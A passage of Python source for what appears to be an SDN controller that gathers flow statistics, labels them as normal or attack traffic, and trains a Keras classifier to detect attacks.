((2 * num_pair_flows) / num_flows) if num_flows > 0 else 0.0, 195 | (num_growing_flows - (2 * num_growing_pair_flows)) / self.interval, 196 | len(self.growing_ports) / self.interval, 197 | ] 198 | 199 | def reset_growth(self): 200 | ''' 201 | Reset variables for detecting growth of them 202 | ''' 203 | self.growing_flows = dict() 204 | self.growing_ports = set() 205 | 206 | def write_data(self): 207 | ''' 208 | Write the current six-tuple and label to a data file 209 | ''' 210 | six_tuple = self.calc_tuple() 211 | if six_tuple != [0 for _ in range(6)]: 212 | six_tuple.append(self.label) 213 | LOG.debug("Writing some training data") 214 | LOG.debug("Current tuple: %s", six_tuple) 215 | with open("training_data.txt", "a") as f: 216 | f.write(" ".join(map(str, six_tuple)) + "\n") 217 | LOG.debug("Written.") 218 | 219 | def clean_flows(self): 220 | ''' 221 | Clean the flow table 222 | ''' 223 | current_time = time.time() 224 | del_indices = [] 225 | for flow in self.flows.values(): 226 | if (current_time - flow.time_last_used) > self.clean_interval: 227 | del_indices.append(str(flow)) 228 | for del_index in del_indices: 229 | del self.flows[del_index] 230 | 231 | def _handle_PacketIn(self, event): 232 | ''' 233 | Handle a packet in 234 | :param event Event that triggered this 235 | ''' 236 | packet = event.parsed 237 | if not packet.parsed: 238 | LOG.warning("Ignoring incomplete packet") 239 | else: 240 | packet_in = event.ofp 241 | self.act_like_switch(packet, packet_in) 242 | 243 | 244 | def launch(): 245 | ''' 246 | Launch this controller 247 | ''' 248 | def start_switch(event): 249 | ''' 250 | Start up the swithc 251 | :param event Event that triggered this 252 | ''' 253 | LOG.debug("Controlling %s with this", (event.connection,)) 254 | Controller( 255 | event.connection, 256 | "--gen-data" in sys.argv, 257 | 1 if "--attack" in sys.argv else 0, 258 | "--detect" in sys.argv 259 | ) 260 | core.openflow.addListenerByName("ConnectionUp", start_switch) 261 | 262 | def dense_norm_dropout(x): 263 | x = keras.layers.Dense(100, activation=tf.nn.relu)(x) 264 | x = keras.layers.BatchNormalization()(x) 265 | return keras.layers.Dropout(0.5)(x) 266 | 267 | if __name__ == '__main__': 268 | if "--train" in sys.argv: 269 | data, lbls = (lambda x: (x[:, :6], x[:, 6]))(np.loadtxt("training_data.txt")) 270 | labels = np.array([[1, 0] if l == 0 else [0, 1] for l in lbls]) 271 | inputs = keras.Input(shape=(6,)) 272 | x = keras.layers.Dense(100, activation=tf.nn.relu)(inputs) 273 | x = dense_norm_dropout(x) 274 | x = dense_norm_dropout(x) 275 | x = keras.layers.Dense(100, activation=tf.nn.relu)(x) 276 | outputs = keras.layers.Dense(2, activation=tf.nn.softmax)(x) 277 | model = keras.Model(inputs=inputs, outputs=outputs) 278 | model.compile( 279 | optimizer="Adam", 280 | loss=keras.losses.BinaryCrossentropy(), 281 | metrics=["accuracy"] 282 | ) 283 | history = model.fit( 284 | x=data, 285 | y=labels, 286 | epochs=500, 287 | verbose=1, 288 | validation_split=0.2, 289 | callbacks=[keras.callbacks.EarlyStopping(patience=3)] 290 | ) 291 | print(f"Reached loss: {history.history['loss'][-1]}") 292 | fn = "model.h5" 293 | model.save(fn) 294 | print(f"Saved model as {fn}") 295 | else: 296 | boot( 297 | (["log.level", "--DEBUG"] if "--debug" in sys.argv else []) + 298 | ["network_controller"] 299 | ) 300 | --------------------------------------------------------------------------------